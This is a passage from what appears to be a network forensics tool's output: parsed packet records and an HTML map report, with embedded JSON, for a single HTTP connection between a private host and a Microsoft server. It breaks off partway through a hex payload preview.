4115187666, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8209, \"\"chksum\"\": 24334, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:10:17.705224,12,TCP 10.152.152.11:64011 -> 128.251.172.13:80,10.152.152.11,128.251.172.13,64011,80,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,FA,,,Ether > IP > TCP,3,TCP FA Seq=3210930734 Ack=4115187666,bc24112907bbbc2411360d0c08004500002828fb4000800602290a98980b80fbac0dfa0b0050bf62ea2ef548c7d2501120115f0d0000,\".$.)...$.6\n...E..((.@....)\n......\n...P.b...H..P. ._\n..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10491, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 553, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"128.251.172.13\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64011, \"\"dport\"\": 80, \"\"seq\"\": 3210930734, \"\"ack\"\": 4115187666, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8209, \"\"chksum\"\": 24333, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:10:17.705232,13,TCP 128.251.172.13:80 -> 10.152.152.11:64011,128.251.172.13,10.152.152.11,80,64011,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,128.251.128.0/17,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4115187666 Ack=3210930735,bc2411360d0cbc24112907bb0800450000280000400040066b2480fbac0d0a98980b0050fa0bf548c7d2bf62ea2f5010003f7edf0000,\".$.6\n..$.)....E..(..@.@.k$...\n....P...H...b./P..?~...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27428, \"\"src\"\": \"\"128.251.172.13\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64011, \"\"seq\"\": 4115187666, \"\"ack\"\": 3210930735, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 32479, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 13, \"total_bytes_sent\": 796, \"total_bytes_received\": 4612, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [64011], \"first_seen\": 1784455807.446739, \"last_seen\": 1784455817.705232, \"packets\": [{\"num\": 0, \"time\": 1784455807.446739, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1784455807.44677, \"size\": 66, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1784455807.447069, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1784455807.447092, \"size\": 460, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1784455807.447097, \"size\": 54, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1784455807.712341, \"size\": 3470, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1784455807.71278, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1784455807.784336, \"size\": 914, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1784455807.826666, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1784455817.704881, \"size\": 54, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1784455817.705065, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1784455817.705224, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1784455817.705232, \"size\": 54, \"direction\": \"received\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 10.258492946624756, \"avg_packet_size\": 416.0, \"packets_per_second\": 1.2672426707937887}, {\"id\": \"128.251.172.13\", \"ip\": \"128.251.172.13\", \"packet_count\": 13, \"total_bytes_sent\": 4612, \"total_bytes_received\": 796, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1784455807.446739, \"last_seen\": 1784455817.705232, \"packets\": [{\"num\": 0, \"time\": 1784455807.446739, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1784455807.44677, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1784455807.447069, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1784455807.447092, \"size\": 460, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1784455807.447097, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1784455807.712341, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1784455807.71278, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1784455807.784336, \"size\": 914, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1784455807.826666, \"size\": 54, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1784455817.704881, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1784455817.705065, \"size\": 54, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1784455817.705224, \"size\": 54, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1784455817.705232, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Amsterdam\", \"lat\": 52.3759, \"lon\": 4.8975, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"128.251.128.0/17\"}, \"duration\": 10.258492946624756, \"avg_packet_size\": 416.0, \"packets_per_second\": 1.2672426707937887}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"128.251.172.13\", \"packet_count\": 7, \"total_bytes\": 796, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64011], \"dst_ports\": [80], \"first_packet\": 1784455807.446739, \"last_packet\": 1784455817.705224, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1784455807.446739, \"timestamp_iso\": \"2026-07-19T15:40:07.446739\", \"timestamp_human\": \"2026-07-19 15:40:07.446\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"128.251.172.13\", \"ttl\": 128, \"ip_id\": 10485, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64011, \"dst_port\": 80, \"tcp_seq\": 3210930327, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1784455807.447069, \"timestamp_iso\": \"2026-07-19T15:40:07.447069\", \"timestamp_human\": \"2026-07-19 15:40:07.447\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"128.251.172.13\", \"ttl\": 128, \"ip_id\": 10486, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64011, \"dst_port\": 80, \"tcp_seq\": 3210930328, \"tcp_ack\": 4115183389, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1784455807.447092, \"timestamp_iso\": \"2026-07-19T15:40:07.447092\", \"timestamp_human\": \"2026-07-19 15:40:07.447\", \"size\": 460, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"128.251.172.13\", \"ttl\": 128, \"ip_id\": 10487, \"ip_len\": 446, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64011, \"dst_port\": 80, \"tcp_seq\": 3210930328, \"tcp_ack\": 4115183389, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1784455807.71278, \"timestamp_iso\": \"2026-07-19T15:40:07.712780\", \"timestamp_human\": \"2026-07-19 15:40:07.712\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"128.251.172.13\", \"ttl\": 128, \"ip_id\": 10488, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64011, \"dst_port\": 80, \"tcp_seq\": 3210930734, \"tcp_ack\": 4115186805, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1784455807.826666, \"timestamp_iso\": \"2026-07-19T15:40:07.826666\", \"timestamp_human\": \"2026-07-19 15:40:07.826\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"128.251.172.13\", \"ttl\": 128, \"ip_id\": 10489, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64011, \"dst_port\": 80, \"tcp_seq\": 3210930734, \"tcp_ack\": 4115187665, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 10, \"timestamp\": 1784455817.705065, \"timestamp_iso\": \"2026-07-19T15:40:17.705065\", \"timestamp_human\": \"2026-07-19 15:40:17.705\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"128.251.172.13\", \"ttl\": 128, \"ip_id\": 10490, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64011, \"dst_port\": 80, \"tcp_seq\": 3210930734, \"tcp_ack\": 4115187666, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 11, \"timestamp\": 1784455817.705224, \"timestamp_iso\": \"2026-07-19T15:40:17.705224\", \"timestamp_human\": \"2026-07-19 15:40:17.705\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"128.251.172.13\", \"ttl\": 128, \"ip_id\": 10491, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64011, \"dst_port\": 80, \"tcp_seq\": 3210930734, \"tcp_ack\": 4115187666, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 1, \"FIN\": 1}, \"packet_sizes\": [66, 54, 460, 54, 54, 54, 54], \"inter_packet_intervals\": [0.0003299713134765625, 2.3126602172851562e-05, 0.2656879425048828, 0.11388611793518066, 9.878398895263672, 0.0001590251922607422], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 10.258485078811646, \"avg_packet_size\": 113.71428571428571, \"packets_per_second\": 0.6823619614613592, \"bytes_per_second\": 77.59430304617742, \"min_packet_size\": 54, \"max_packet_size\": 460, \"median_packet_size\": 54, \"avg_interval\": 1.7097475131352742, \"min_interval\": 2.3126602172851562e-05, \"max_interval\": 9.878398895263672}, {\"source\": \"128.251.172.13\", \"target\": \"10.152.152.11\", \"packet_count\": 6, \"total_bytes\": 4612, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64011], \"first_packet\": 1784455807.44677, \"last_packet\": 1784455817.705232, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1784455807.44677, \"timestamp_iso\": \"2026-07-19T15:40:07.446770\", \"timestamp_human\": \"2026-07-19 15:40:07.446\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"128.251.172.13\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64011, \"tcp_seq\": 4115183388, \"tcp_ack\": 3210930328, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1784455807.447097, \"timestamp_iso\": \"2026-07-19T15:40:07.447097\", \"timestamp_human\": \"2026-07-19 15:40:07.447\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"128.251.172.13\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 54762, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64011, \"tcp_seq\": 4115183389, \"tcp_ack\": 3210930734, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1784455807.712341, \"timestamp_iso\": \"2026-07-19T15:40:07.712341\", \"timestamp_human\": \"2026-07-19 15:40:07.712\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"128.251.172.13\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 54763, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64011, \"tcp_seq\": 4115183389, \"tcp_ack\": 3210930734, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2933, \"payload_preview\": \"7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e